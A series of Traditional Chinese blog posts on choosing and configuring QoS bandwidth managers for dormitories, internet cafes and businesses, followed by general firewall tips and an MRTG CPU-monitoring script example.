 和企業最大不同點是,每個人什麼都要用,不能限制什麼軟體不能用。
 所以就是以IP來分配每個人的使用頻寬,如上下載的保證頻寬與最大頻寬。
 簡單說就是分配每個人各自的擁有頻寬,如此大家都可以上網,又不會發生
 搶頻寬塞車的現象。
 雖然如此,但因為p2p軟體的風行,既然以分配頻寬但仍會因p2p軟體造成
 機器負荷過重,變成很慢情形很慢,甚至當機。這時應該怎麼辦.....


以上全都是親身經歷的結論,也是把上面的專家說的再重整簡潔一點。

下回將談起設備功能的分類情形,大家常看到或貼廣告的那些設備,才不會有
各說各話的情形。我願將我的經驗分享給大家,同時對於設備廠商有些藏私,
希望透過網友的力量請廠商加油,或修改韌體,也不要常當白老鼠。

這次談談Qos應用上應該具備哪些功能:

上篇談過Qos的應用分為企業型及社區寬頻(宿舍、多台電腦)二種,所以Qos
的設備也因為這樣的關係在設計規劃上有所不同,因此功能及效能都是很重要
的應用評鑑關鍵點。每家Qos設備廠商都有它的適用性及優缺點,而非全部都
是最完美的。

1.可以控制IP(如192.168.1.2-255)的使用頻寬或開啟關閉,更好的還有
 MAC功能(一般通稱為鎖住網路卡的位址)、將IP設定成群組、IP網段切割。

2.可以控制每個服務port(共有0-65535)的使用頻寬或開啟關閉,一般就是
 所謂的http服務port=80,smtp服務port=25,pop3服務port=110,還有
 就是如msn,遊戲,p2p軟體的使用port,voip的port等等不同的軟體就有使用
 不同的port。

3.可以控制上網時段的功能,如某時段可以上網、某時段不能上網、也可以針
 對IP及服務設定時段的開關功能,但通常此功能偏向高階機器才有。

4.最新的解封包(PACKET)功能,控制使用頻寬或開啟關閉。因為P2P軟體的盛
 行,且軟體會自動改port或使用者自行更改port而形成控管上的漏洞,因此
 解封包(PACKET)功能可以分析每一P2P軟體在傳送時的特殊封包後就能與
 以控管了。但相對的會耗掉設備CPU的很多效能。所以一般都只針對常用的
 P2P軟體控管而不是針對每種軟體,且對新軟體也無法控管。因此關係到設
 備廠商更新韌體的速度有絕對的重要性存在。通常此功能在CPU效能較高
 的高階機器才會有此功能(有些高階機器無此功能因無新韌體)。

5.可以設定多組頻寬表,包含上下載的保證頻寬及最大頻寬,進階的有優先權
 功能設定,就是針對哪組頻寬給予優先順序。

6.管制存取條例功能,也就是將上述的1-5點可以任意排列組合出應用在每一種
 環境下的需求,同時也有先後次序的排列關係達成更高級的應用。
 一般Qos從這裡就可以看出設備功能的優劣了,以及設計的需求屬於哪一種
 類型。

7.統計紀錄功能。這是很多人會忽略掉的功能。越多的各式各樣的統計功能可
 以讓管理者立即查出問題所在,進而改變Qos的設定與防範問題發生,但相
 對的統計會耗用越多Qos設備的效能。一般Qos為了增進效能而會少掉很多
 統計功能而宣稱自己的機器效能有多好。
 誰優誰劣請設備商提供線上測試功能大家連進去看一看和別家比較就知道了。


下次探討設備了,請大家稍為等等。

----------------------------------------------------------------------

今天我們要來探討市面上常見的Qos頻寬管理器設備:
每家都有優缺點,不是誰差誰好的問題,也不是老王賣瓜自賣自誇.而是要分清楚
您是屬於哪一類型的需求,再找出適合您的Qos頻寬管理器設備.

賣設備的廠商一定要提供線上測試功能或使用手冊,大家進去比較一下就知道。

1.眾至BM系列,友旺BM系列,外銷機種FW613系列:
 台灣賣的最好的頻頻寬管理器。
 這些公司的上游軟體廠商是[新軟]http://www.nusoft.com.tw/
 設備所設計軟體都是這家寫的。
 眾至BM26友旺BM200=外銷機種FW613=高階功能低價格的頻寬管理器
 裡面的軟體是由高階機種移植下來的,可以說是絕對一台全功能的設備。
 如果您本身技術不足時,您會發覺不容易上手,但對網管人員卻是最好的。

 他們也有高階機種。大家可以去他們的網站測試看看就知道了。

 屬於企業專用類型,當作社區寬頻(宿舍、多人、網咖)用也可以,不過要熟。

 有無缺點,有,下次再分析。需要集合大家力量請他們改一改韌體。

2.聯網e晶片最新版是2.0版,屬linux崁入式晶片,所以要搭配電腦。
 info.windfly.net 有提供測試網站,先註冊再進入產品服務SE版.
 他們最新設備已經提供整台Qos設備,不用再自己組電腦了。
 單買1WAN含電腦整組,可能一般會比較貴一點,但屬高階設備。
 單買2WAN以上含電腦整組,您會發覺物超所值,越來越便宜,也屬高階設備。

 屬於社區寬頻(宿舍、多人、網咖)類型。

 有無缺點,有,下次再分析
 
3.早期資訊家族變成現在的俠諾QNO,FQR104,9208,9208S
 我想大家看的討論區蠻多的,建議一下這家公司提供測試網站,讓大家看看
 裡面功能,使用手冊應該公佈新的。
 FQR104是低階設備,與眾至BM26友旺BM200外銷機種FW613等級同
   但功能差異有別。
 9208系列屬高階設備,不能拿來與別家低階機器比效能,欠缺公平。
 屬於社區寬頻(宿舍、多人、網咖)類型。

 有無缺點,有,下次再分析

4..居易VIGOR2900系列
 同樣大家看的討論區蠻多的,建議一下這家公司提供測試網站,讓大家看看
 裡面功能,也提供使用手冊。
 以功能而言Qos較簡單,功能彈性有限。所以價格偏向低價。

 屬於社區寬頻(宿舍、多人、小型)類型。

 有無缺點,有,下次再分析

--------------------------------------------------------------------

現在我們繼續談QOS設備(一):

上次談到設備:那就先談BM系列
 其實是[新軟]寫軟體,友旺做硬體,友旺BM200眾至BM26為代理,均BM係列
 外銷機FW613則不同機器但軟體相同,但區網內資料互傳時會有問題。

 二年前台灣唯一低價全功能的頻寬管理器就只有它,它是賣的最好的。
 大家記住這台設備的功能全部由最高階設備轉移下來的。功能無庸置疑。
 而且韌體直到今年四月還一直更新,也就是有一直再處理客戶反映的問題
 或修正bug.或增加效能等等。

1所以如果您買到的設備韌體從來不更新或一二年才更新時,這當中有問題時
 您就要自行處理。BM韌體功能直到今年四月還有更新。

2同樣的低階QOS設備不管CPU是100.168.175若其他設備的頻寬功能做出
 來與BM係列有90%相同,再來比效能才是正確的,所以不能到處說BM有多
 差,功能一多就說很難用等問題。這樣已失去公平性。

3再上二篇文章中有提到哪些才是頻寬管理的應有功能,最重要能夠能擁有千
 變萬化的組合方式,而不是少掉了一大堆功能,結果只能在某場合使用其他
 場合就不能用。如果是這樣就應該設備區分為使用才哪種應用功能才是正確
 的做法,而不是哪少掉的功能的QOS去和BM比效能,有失公平。

4BM最強的是頻寬控管功能及統計報表功能。上二篇文章以提到功能的完整性
 現在就談統計表表,BM統計報表也真是太完美了,這聯其他高階機備都比不
 上。

 它可做遠端記錄SYSLOG,監控報告,統計報告,
 wan統計圖表可有分時日的統計圖,還可以看服務port統計圖,
 可即時查看30秒的使用者IP至目的地PORT隨時監控異樣,
 統計報告可隨時看出使用者IP至前的上下載累積量,使用時間,任意排行榜,
               如果您會使用您會發現無窮盡的寶藏。
     使用者所到的目的地IP流量累積,就可知道那台網站是大家常去的。
     統計65336每個PORT的流量,就可知道異常port.port使用率。

 所以請要比效能,必須請其他Qos設備有了些這功能才來說平比。

5我以寫程式的觀念來看BM的確是一台正規化設計出來軟體,但也因為如此
 不僅頻寬管理完整,在統計功能更是強,但因此花太多時間再做無效率的統
 計表功能,讓備效能降低很多,使的其他設備商一直攻擊BM設備效能差。

 BM系列在高階設備上也已經加入針對p2p軟體解封包的控管功能。

6屬於企業專用類型,當作社區寬頻(宿舍、多人、網咖)用也可以,
 不過要熟悉,對剛入門或IP分享器轉過來的人有點難,抓不到頭緒。


最終希望以公正的態度來平比。

我更希望買過BM的使用者連續向眾至,友旺,直接向[新軟]反映。
統計報告的有些功能應該做一些開關可以關閉,因為有些功能通常用不到,但耗用
很多CPU30%效能(做白工)。
依經驗值只留下統一報告中的來源 ip,流量統計中的外部網路流量,監控記錄中流
量監控 就可應戶非常多的需求。因為BM高階機種均做上去了。

它們很願意更改韌體,而且這些功能以程式設計而言是非常簡單的。便又大碗
的頻寬管理器非此台莫屬了。


快快快向這些公司反映吧。不要少了您的一票,最好向[新軟]反應。

----------------------------------------------------------------------

現在我們繼續談QOS設備(二):


這次我們談的是linux的頻寬管理器:

分為二種產品討論
1.免費軟體式的linux:
  此類軟體在本站討論區有非常多,先決條件就是您要用一台電腦+linux頻
  寬管理軟體才能達成。在此我並不想深入探討而只能提供建議:最好您要
  懂得linux較好,有問題或裝不起來時要自行摸索,或請教高手幫您解決問題,
  還要考慮使用後後續接手的人會不會。

2.崁入式linux晶片:聯網E晶片二代
  它是把linux+頻寬管理軟體做成一個晶片,還要加上一台電腦就成為一台
  Qos頻寬管理器,它可是威揚公司花時間研發且實際經過市場考驗過的
  產品,所以它是要錢的不是免費的,人家可是投入很多時間跟金錢。
  現在聯網E晶片已進步到第二代,功能性增強,管理設定簡易,最重要加了
  可以針對p2p軟體解封包(packet)進而做頻寬控管功能。

  他們的韌體也一直在更新,以應付市場的需求及改進缺點或問題點。

  同時他們也推出聯網E晶片+工業型電腦=壹台高階Qos頻寬管理器。
  如果您買1WAN的產品,感覺上比較貴.因為是高階Qos.
  如果您買2WAN以上的產品,會覺得很划算,且越來越便宜很多.
   哇..CPU有400,800,1G, RAM有256K,512K等級很高階的Qos.

  應用類型屬於:社區寬頻,宿舍學生,家庭多台電腦,網咖等型

  很明顯,它是屬於快速設定符合需求分配指定每台電腦的頻寬,也就是
  每一台電腦配一個IP及頻寬表(有上下載保證頻寬及最大頻寬),所以
  設定上是相當簡易就可達成需求。
  若有其他特殊需求再用[存取控管]及[頻寬控管]達成進階的應用。
  最特殊的是它特別針對p2p軟體能夠與以控管頻寬,阻擋或不檔,是不錯的
  設計,通常在高階設備還不一定有此功能,更不用談低階設備了。

  統計報表上也提供設備的各項統計資訊,SNMP,MRTG,每個WAN或
  LAN的統計,還有每30秒即時資訊、每日每個小時、總合計等各種每個
  IP的上下載流量統計,還可看每個IP的去向的監控功能,還蠻強且
  不錯的統計功能。

  與前篇文章的BM系列比較是屬於二種不同的應用的設備,所以不予以
  比較。

  聯網E晶片是成熟穩定且是一台已經能夠應付上百台電腦以上的產品了。

  以程式設計觀點來看韌體上且仍有再進步的空間,如[頻寬控管]增加多組
  port設定或多組頻寬表,這樣一來只須簡單設定一次就能達到多種功能
  需求,報表上增加每個IP目前時間及目前正使用小時的統計功能,如此本
  台設備可達95分以上了。


最終希望以公正的態度來評比。

--------------------------------------------------------------------

現在我們繼續談QOS設備(三):


這次我們談的是討論區常見的俠偌QNO的頻寬管理器:

其產品常見的為 9208.9208S.9416,9416S
1這些是2WAN及4WAN的高階產品,但CPU卻同樣為Intel IXP425。
 有S是屬社區寬頻類型使用,其實是將原有功能拿掉一些在社區寬頻上
 比較用不到的功能,以提昇增加效能。
 所以基本上可以把這些以同一型設備討論,差別在於2WAN或4WAN及LAN
 的多寡,4WAN多了32M記憶體。

2基本上現在的9208是一台高階QOS,但早期只是一台高階防火強,可以
 說CPU及功能比IP分享器等級高的2WAN防火強,所以其QOS頻寬管理功
 能是後來加上去的,不像一般的頻寬管理器一開始規劃設計就是Qos,以程
 式設計角度來看,此產品再增加功能時會顧慮原有的功能,會有顧此失彼的
 缺失存在。

3.這台積設備RAM只有 64MB,連線數可高達60000以上,所以號稱可以達三百
 人使用,是非常不簡單。因為其他同樣等級設備的記憶體更高而連線數卻只
 有16000-30000之間,希望該廠商提供實際使用數據較準及公信力,因為
 有些設備在同樣情形下可能只有100-200人使用,超過就效能變差。
 尤其是使用P2P軟體下效能及人數可能會下降的更快,這點非常需考慮。

4應用類型屬於:社區寬頻,宿舍學生,家庭多台電腦,網咖等型
 很明顯,它是屬於快速設定符合需求分配指定每台電腦的頻寬,也就是
 每一台電腦配一個IP及頻寬表,只可惜要分上傳下載各一條管制條例來設
 定,也就是同IP頻寬表就有二條(分上傳及下載) ,改進一點會讓使用者
 更方便。再排列順序上也可加強。
 但它還有指定IP從1到20的不錯功能(對社區可能較不實用,企業較好)。
 它還有以服務port的功能來做優先權控制。
 以此頻寬控管做結論:雖以社區寬頻型為主但帶有一點點企業型功能,
 整體使用偏向國外產品,但總覺得缺少了連貫性,有些進階設定較難達成。
 

5少了可以針對P2P(PACKET)軟體以解封包方式控管頻寬功能。在同樣
 等級的其他高階設備均有此功能。期望下版本韌體能加入此功能,如無此
 功能如網咖中同台電腦同時玩線上遊戲及下載時會產生搶頻寬及LAG情形.

6統計報表功能,雖有一些但不多,同時把上下載流量區分二個報表來看,
 不夠人性化 ,比較像是防火強的統計表而非頻寬管理設備專用報表。
 

以頻寬管理設備的功能而言,這台屬於外加頻寬管理的功能性不多且統計報表
也較少,耗用資源少,所以是這台設備效能較好的主因。如果您只要做到
每個IP配一個頻寬表而已,又要求效能倒是可以考慮。

但相對的您要一些額外的特殊設定功能時或更多統計報表以方便找出問題較或
符合多種組合應用時,這台設備合適度較不高。

以程式設計角度而言這些設備如要再加強功可能需花更多的修改時間,到不如
配合實際市場需求而修改。符合社區寬頻,宿舍學生,家庭多台電腦,網咖等更合
適。

公開公平的評比。

若有漏掉的歡迎寫悄悄話給我,我會補正。

----------------------------------------------------------------------

現在我們繼續談QOS設備(四):

這次我們談的是討論區常見VIGOR2900系列的頻寬管理器:

1目前也有少數無線ROUTER設備都與VIGOR2900系列的頻寬管理功能類似
 這類型設備比較像是IP分享器+簡單型的Qos頻寬管理功能,與真正的頻寬
 管理器功能相比較下,功能性太少且不夠完整。

2這類型頻寬管理功能的頻寬控管方式是將頻寬分割成四組,再將總頻寬依自
 己的需求性用百分比分配給每一組,也就是四組加起來等於100%,所以其
 頻寬管理表只有四條,設定死的而無法自由增加。
 也無保證頻寬及最大頻寬的下上載頻寬控制等屬於真正頻寬管理器的功能。

3.由於只有四組頻寬分類,所以只能針對每一組頻寬再進去設定IP及服務port
 但無論設定多少的IP及服務port只能共用一組頻寬。因先天性設備的限制,
 頻寬表只有四組,所以無法做到真正頻寬管理器的功能。

4無針對P2P(PACKET)軟體以解封包方式控管頻寬功能。

5此類型設備通常會加入其他的附加功能如VOIP或VPN或無線做為主軸
 ,而頻寬管理功能只能算是附屬功能。所以此類產品通常價格不高,甚至
 比低階頻寬管理器要低上很多。應該與108M的無線基地台同價左右。

6應用類型屬於:不適合社區寬頻,宿舍學生,網咖,因為Qos功能太簡易了。
 比較適合使用在家庭少台電腦,或是少台電腦的企業。


公開公平的評比。

若有漏掉的歡迎寫悄悄話給我,我會補正。

---------------------------------------------------------------------

現在我們實際談QOS頻寬管理器基本應用篇(一):

1.最基本的頻寬管理器功能其最主要的目的是解決塞車及搶頻寬的問題,
 在企業上可能造成企業營運的停擺,損失嚴重。
 在社區寬頻上,學生宿舍,網咖,家庭,引起怨聲載道,抱怨連連。
 所以只要每台電腦都配一個頻寬,這樣大家就很公平。

2.只要每台電腦上配一個IP,然後加上每個IP再配一個上下載的頻寬表,如此
 就大家都會覺得很公平了,就不會發生您我互相搶頻寬的問題發生了。

3.IP分享器就是無法做到上述的功能,因此及未來無頻寬管理功能的設備都會
 被滔汰,除非大家都不管。

4.至於頻寬表上一定要有能夠設定上傳及下載的保證頻寬及最大頻寬,否則
 只能算是半套的頻寬管理器,大家一定要記得。

5.要如何分配給每個IP的上傳及下載的保證頻寬及最大頻寬是一們經驗累積
 學問,而且不是設定一次就永遠不變,因為還要隨著使用者的狀況而調整
 才能達到最佳的效益比。

下次我們將說明如何來分配頻寬,會暗藏多少玄機,如何花最少的時間學會
別人的經驗,立即實證應用在您的環境之中。

------------------------------------------------------------------

現在我們實際談QOS頻寬管理器基本應用篇(二):實戰篇


假設我有一社區寬頻(學生宿舍)有連接30台電腦上網,只有一條3M/640K的線
路,要如分配每台電腦的上下載頻寬:

1.3M/640K實際下傳及上載頻寬約300KBYTE/64KBYTE,用10除是比較
 準確性的實際計算數值(要扣除傳送封包檔頭....等等損耗),所以頻寬管理器
 的WAN端有一下載上傳的最大頻寬設定就應該設定的是實際值。
 如果實際上下傳及上載頻寬只跑250KBYTE/64KBYTE此值乘十,就是您應
 該WAN端的設定值,而不是原來的。
 這樣的目地是在避免頻寬波動造成頻寬控管偏差的問題。

2.下載上傳3M/640K除30台得到的是每台電腦分配的頻寬是100Kbit/21Kbit
 這個就是每台電腦要設定的保證頻寬,也就是實際上當真有30台同電腦時上線
 時,每台電腦所能夠的到的頻寬,而且這樣能保證每台電腦都有頻寬使用且不
 塞車,只是分到頻寬較少會比較慢而已。
 這時大家會懷疑這樣怎麼夠用,所以接下去就是與最大頻寬的設定有相當大
 的關係了。

3.首先要先確定上網的實際環境,同一時間上網的電腦有幾台後才能計算配出
 最大頻寬。如果頻寬管理器的統計報表無這些數據,那表示這台設備的報表功
 能很差,它無法使您得到最佳化的頻寬管理,即時效能再佳也無用。

 如果看到有20台電腦連線,但實際上在使用的可能只有10台(持續使用,或斷斷
 續續在用如看網頁及收發信的情形),而且平均時段或每日都是如此,那表示同
 時上網的電腦只有10台,所以最大頻寬計的計算法就是將剩下20台的保證頻
 寬合計之後再除12(不要除10,預留瞬間用戶增加情形)得到數值為

 下載100Kbit*20=2000Kbit / 12=166Kbit
 上傳 21Kbit*20=420Kbit / 12=35Kbit

 最大頻寬就原來下載及上傳的保證頻寬+166Kbit/35Kbit,
    下載100Kbit+166Kbit=266Kbit 上傳21Kbit+35=55Kbit

 也就是當同時有10人上網時的每台電腦可用的最大下載及上傳頻寬而不是
 只限在原有的保證頻寬而已。(而且我們也有設計預留多2個人上線)

 如果用戶的品質均使用如看網頁,收發信,線上聊天,線上遊戲等的情形較多,
 而大量下載檔案的情形較少時,以經驗值而言是屬於輕量級的使用者,那麼
 可將下載頻寬再調高一些,上傳無須調整因為56Kbit是足夠的頻寬。
 
 設備的統計報表可以看出線路是否滿載也是調整關鍵點。用戶流量暴衝也是
 觀察重點之一。
 
4.如果您是初學者我會建議每台配置最大頻寬為512K-768Kbit/56Kbit開始
 分配起,再觀察上網情形做調整。

5.源頭的WAN頻寬,實際使用電腦平均台數,及要給使用者有更多的頻寬等
 這三者是習習相關的。需要靠經驗,設備的報表能夠提供這些有用資訊,
 才能夠充分運用頻寬,而不是浪費頻寬,每個人也很公平。

※再強調一次頻寬管理器的統計報表功能太弱了,您就無法找出問題所再,也不
 知道如何調整您的使用環境設備。


※本次的實例是比較正規化一般規劃法,如果用再學生宿舍或大流量的社區寬
 寬頻以及使用P2P軟體又將如何處理。我們將再下次討論。

---------------------------------------------------------------------

現在我們實際談QOS頻寬管理器基本應用篇(三):實戰大流量篇


假設一學生宿舍有連接30台電腦上網,只有一條8M/640K的線路,要如何控管及
分配每台電腦的頻寬:

1.95%以上的網路管理者對大流量的學生,真的非常的頭痛.偏偏學生都很喜歡
 下載各個類型的mp3,影片,軟體.....等等。
 所以有很多的管理者做法是,不理不問,塞車是您家的事。
 有心的管理者卻覺得吃力不討好,不知如何做,設備用什麼,頻寬要多大。

2.提供經驗做法:
  (1)約法三章,這是企業網路使用規定而且嚴格執行。但也適用在學生上
    如果總流量大於多少量,直接將頻寬降至256Kbit/20kbit,把規則
    制定好。這樣的頻寬夠他做功課或上網,也符合中華電信的最低需
    求,想想一個月您才收多少錢。
    而且以此的頻寬分配還可以用到30台。

  (2)頻寬設定:保證頻寬及最大頻寬都相同,如果您比較好心(學生不會
    感謝您的),可以申請2線8M/640K,設備用2WAN的設備,而每
    每台電腦頻寬分配512Kbit/48kbit,已經措措有餘了,也是可以分
    配到30台使用。

  (3)絕對不要給學生有最大頻寬機會,因為這是100%學生宿舍的寬頻
    會死的主因。因為只要有最大頻寬一定會搶頻寬。前面幾個學生
    掛網就把頻寬佔滿了,後面的人上線就無頻寬了。


這是非常非常實際的經驗,絕對有效。

下次我們談p2p軟體的應對之策。

-------------------------------------------------------------------

我們實際談QOS頻寬管理器基本應用篇(四):P2P軟體管理實戰篇[1]


面對BT.edonkey,驢子,KURO,EZPEER...等這些大流量軟體,要如何控管的頻寬:

1.現今95%以上的網路管理者對於這些P2P軟體佔用大流量,真的非常的頭痛.
 偏偏大家很喜歡用這類軟體下載各個類型的mp3,影片,軟體.....等等。

 100%的管理者對這方面管理的很吃力又不討好,不知如何做,設備用什麼,
 要如何控管頻寬,尤其是不知如何捏拿。

2.這類軟體不僅佔用大量下載頻寬,還佔用大量上傳頻寬,也就是提供上傳
 頻寬越大,下載的頻寬流量才可以越大。如此在上傳的部分就形同架設網站,
 所以可能有幾十人至上百人連線至使用者的電腦,其結果就是上傳頻寬全
 被佔滿了,如果多來幾個用這類軟體的使用者那就更慘了,那簡直無救。
 何況是現今ADSL的上傳頻寬極少,那真是網路管理者的夢靨。


3.此類軟體不是用擋服務port的方式就可以解決掉問題,因為使用者可以自己
 改變使用服務port,有些軟體還會自動改服務port。所以以目前的低階頻寬
 管理器要阻擋或管理P2P軟體是幾乎無解的。

4.94.7月中華電信也發表了可能要檔ADSL的使用者使用P2P的頻寬,可見此類
 軟體耗用頻寬太重了,連ISP都要管控頻寬了。

5.要控管P2P軟體,比較實際做法是解析每一P2P軟體的傳送封包然後再與以控管。
 所以有P2P管理的頻寬管理器的價格也是馬上跳上去。但這樣的解決方式
 才是一勞永逸的。



這是給大家一個非常實際的經驗答案。

下次我們談管控P2P軟體的頻寬管理器的應對之策。

----------------------------------------------------------------------

我們實際談QOS頻寬管理器基本應用篇(四):P2P軟體管理設備選擇篇[2]

面對BT.edonkey,驢子,KURO,EZPEER...等這些P2P軟體,要如何選擇設備:

1.100%頻寬管理器(或其他機器)設備,一定要標榜有P2P軟體頻寬控管
 功能,才是真正的有P2P軟體頻寬控管的設備。

 除此以外的設備只能稱之為以IP及服務port做控管的頻寬管理器。而不能
 稱之P2P軟體頻寬控管的設備。

 在此的公開說明,是希望網友被一些賣設備自賣自誇的人給誤導了。

2.有P2P軟體頻寬控管的設備,其CPU的效能最少要有400MHZ以上。
 因為需要解封包判斷的關係,CPU效能如不足時,設備反映會來不及,造成
 整體上網速度會變慢。有關這點行家都知道。


3.真正有P2P管理的頻寬管理器的價格至少需要一萬多元以上至數十萬不等。
 所以萬元以下的幾乎是沒有P2P管理功能的設備,希望網友別被騙了。

 當然科技日新月異,有些低價設備號稱也有P2P管理功能,但要注意其
 CPU的等級通常是200MHZ以下,所以比較適合8人以下的家庭或SOHO
 族使用。相對的它的頻寬管理功能卻非常的弱,而且其他功能又同時啟用
 時,設備效能幾乎會變成是老牛拖車,甚至當機,有關一點網友務必考量
 自己的需求。

------------------------------------------------------------------

我們實際談QOS頻寬管理器基本應用篇(五):優先權[1]

在頻寬管理器中還有一項管理就是頻寬使用優先權:

1.優先權有分高中低等級,或用數字百分比,或數字等級來區分使用比例等級。
 您可以將常用的服務如語音,瀏覽網站,收發信 均屬最常用的功能時,就可以
 把它的優先權設成高,其他服務設為中。如此當大家都在上網用語音,瀏覽網
 站,收發信等功能時,因為設備會優先處理這些服務而把其他服務慢一點處
 理。因此常用服務發生塞車比率會比較低

 至於比例的分配設定須依環境的實際情形而定才能準確。
 還有您要瞭解很多如什麼遊戲是用哪port...問題是遊戲很多port喔
 你要真的全部瞭解才有辦法去設定優先權?

2.市面上很多簡易或低階的QOS設備中有配置這項頻寬優先權的功能,
 而並無真正的所謂的針對每個IP或服務PORT控制上下載頻寬的功能。
 
 希望買設備的人能夠先看清楚產品的手冊規格,免得買了才發覺不是你
 所要的真正頻寬管理器。

3.一台好的頻寬管理器同時會有每個IP或服務PORT及頻寬優先權的管理功能。
 優先權的應用通常在企業上的使用比例會比較多,因為控管比較多。
 而一般的社區、網咖、宿舍的每個使用者都可以使用任何功能,所以較難
 控管(可因環境的重要性加入設定此功能)。


有優先權的設備但欠缺每個IP或服務PORT上下載頻寬設定的功能時,
您會無法真正做到為每個IP做頻寬分配及控管功能。

----------------------------------------------------------------------

我們實際談QOS頻寬管理器基本應用篇(五):連線數[2]


在頻寬管理器中還有一項重要因素影響設備效能就是連線數:

當一個人上yahoo kimo 網站時,可能用到10-20個連線數.
但一個人使用p2p軟體時,卻可能使用到上千個連線數.

1.當使用的連線數越多,所佔用的記憶體也越大,同時傳輸封包也會越來越
 多。所以大家可能平常上網時設備運作均沒有問題,可是一但用到大流量
 及連線多的P2P軟體時,就會產生設備效能漸漸開始變慢,記憶體開始不足
 設備效能處理不及,設備會愈來愈燙,到最後設備不是熱當就是死當,要
 不然就是慢的可以。

 不管是IP分享器或低階QOS設備,CPU200以下加上記憶體不是很大時,
 請好好的瞭解使用者的使用習慣是否都使用P2P ,以這樣的方式來規劃您的
 使用人數 。也就是為什麼有的低階Qos設備可以讓50人使用,有的卻只有
 10人以下問題就出來了。

2.高階的QOS設備CPU速度及記憶體通常都會加大,就是要加強處理能力及
 應付更多的連線數,看看學校幾千人上網的設備等級及多少錢就知道了。


目前能夠針對每個IP的連線數做控管的設備應該非常的少。幾乎都是提昇硬體
的配備應付需求,P2P軟體真的是吃頻寬及記憶體的怪物。軟體發展無止境,與
其一直提昇硬體不如做一下P2P的頻寬控管或是連線數控管即能達到目的。

這篇文章也要告一段落了,有機會寫新的與大家分享。

最重要的希望每位回文章的作者不要攻擊別人,寫出自己的經驗就可以了。

網路應用(1)

今天的需求是這樣子,假設某個度假村希望發展網路,由於地域性廣大,希望可以達到行動上網跟網路管理,而且可以動態增設網路設備(如ap或者router),所以必須在設備上面做上一些"手腳"
假設前端網路上有我們可以管理的設備,後面有一個server,server的作用就是受理用戶端的MAC address並且通知相關的前端設備(router or ap),前端設備使用dhcp配置位置給用戶端,因為經過ARP,所以用戶端會保持本來連接網路設備的MAC address,當移動到下一個網路設備的時候,這時用戶依然會把封包送給33:BB:CC:DD:EE:FF這個位置
當一個前端設備可以透過後面的server知道該電話想要連接的是另外一台設備,同時也經過了DHCP的授權,這時該設備192.168.6.0/24的router則是自動adapt這個動作,自動分配一個在server上,並且把192.168.3.10跟他bind起來,把封包重新包裝後送出去(可以想像成一個類似NAT的動作)
這個動作可以做到行動上網,且可以動態擴充網路架構,不過有一個問題來了,如果說今天客戶在新的設備地點開了一台電腦,並且上網登入,透過DHCP註冊可以得到一個IP,可是電腦跟手機卻無法溝通,因為兩者是不一樣的網域

防火牆概念

之前在防火牆概論的時候提到幾種網路架構,其實還有幾點使用防火牆的觀念要注意的
別在防火牆上面架設server/service
愈是單純的主機,維護起來愈簡單,也就愈安全,開了一樣server/service就多了一分的風險,比方說本來防火牆除了放行的封包外,幾乎不接受任何其他封包,今天開了http server那就準備接受http的漏洞了
使用兩個防火牆的時候最好挑選不同的品牌跟設定
如果兩個防火牆設定一樣,那真的有裝跟沒裝差不多XD同一品牌的防火牆比較容易有相同的弱點,所以使用兩個以上的防火牆來做加倍的防護的時候,最好挑選不一樣的
對外拒絕非公開的網路的IP進入
由公開網路來的封包一般來說應該是公開的IP,不是類似192.168.x.x這樣的來源IP,看到這種封包一律阻擋,另外如localhost的127.0.0.1也應該拒絕
對內做好domain區隔
防火牆常常有一個以上的介面,除了對外的界面之外,對內的界面應該可以預測本來的網域,如果真的不幸被入侵,最好也是限制他們的來源IP,免得由內部捏造另外一個內部網域的IP進行攻擊
防火牆的本機的進出要限制特定IP、TCP、UDP
防火牆本身拒絕任何要求連到防火牆的連線,可是防火牆時常還是要線上檢查狀況,如ICMP封包,最好鎖定特定的IP才對ICMP封包有回應,且回應道特的IP。UDP可能用以查詢DNS,所以只允許到特定IP查詢,對特定server回應才接受。TCP可能用以更新程式,就跟前面說的一樣。

其他有關網路規劃跟規則訂定的原則就以後再說XD

2009年11月27日

AWStats

另外一個功能強大的log分析系統,很可惜是用perl寫的,本身對perl感覺不大好:P
http://wiki.ubuntu.org.cn/index.php?title=UbuntuHelp:AWStats/zh&variant=zh-hant

MRTG簡介

跟上一篇一樣是轉載,可是對方一樣匿名發文,請點照片放大看
=================================

MRTG參數

從Ubuntu正體中文網站看來的,由於發文者是匿名,我也沒辦法把作者打出
=====================================================其實 MRTG 是一個 繪表+自動產生網頁 的軟體
只要餵給 mrtg 四組數據就可以產生網頁
四組數據分別是:
----------------------------
1.填滿顏色的線條
2.不填色的線條
3.開機時間(設備啟動時間)
4.設備名稱

其中只要有 1.2 數據就可以繪表
3.4 是參考用的,隨便亂輸入或省略也可以。

--------------------------------

除了網路流量是靠 SNMP 提供資料

其餘偵測 CPU、RAM、硬碟使用量.....等等
都需要自行撰寫 shell script 或寫程式
輸出那「四組數據」餵給 MRTG
與 SNMP 無關係

範例:

#!/bin/sh

# mrtg 偵測 CPU 使用率模組,執行後匯出四個數據
# 此外掛需要 sa 指令,請檢查系統中是否有安裝 sysstat 套件

# 第一數據:CPU User 使用率
# 第二數據:CPU System 使用率

# 使用 sar 來監測 CPU 的 user 及 System 負載率
cpuusr=`/usr/bin/sar 1 | grep Average | awk '{print $3}'`
cpusys=`/usr/bin/sar 1 | grep Average | awk '{print $5}'`

# 讀取系統總開機時間
up_time=`/etc/mrtg/sys-uptime.sh`

# 輸出四個數據(前兩個為數字),給 MRTG 做處理,最後一個為設備名稱
echo $cpuusr
echo $cpusys
echo $up_time
echo "AMD 2500+"



這支 shell script,名字叫做 mrtg-cpu.sh
執行後,它會輸出四個數字(用 echo 就可以了)
第1.2 數據,是指令 sar 取得的cpu使用率
第3數據,是呼叫另一支 script 用來產生總開機時間
第4數據,沒什麼意義,就是一串文字而已


然後在 mrtg.cfg 那邊:(這只是其中一小段)

###########################
# CPU 負載 #
###########################

Target[cpu]: `/etc/mrtg/mrtg-cpu.sh`

Options[cpu]: growright, gauge, integer, nopercent
MaxBytes[cpu]: 100
YLegend[cpu]: % of CPU used
ShortLegend[cpu]: %
LegendI[cpu]:   User:
LegendO[cpu]:   System:
Legend1[cpu]: User utilization
Legend2[cpu]: System utilization
Colours[cpu]: ORANGE#ff6128,GREEN#066928,DARK GREEN#006600,VIOLET#ff00ff

Title[cpu]: CPU Loading
PageTop[cpu]: <H1>CPU Loading</H1>





關於 mrtg.cfg 格式的說明:(有興趣深入可參考)

#####################################################
# #
# MRTG 偵測器 設定 #
# #
#####################################################

# 格式說明:
# Target[偵測器名稱]: 資訊提供來源,可為 shell script。
# Options[偵測器名稱]: 圖表繪製方式選項。
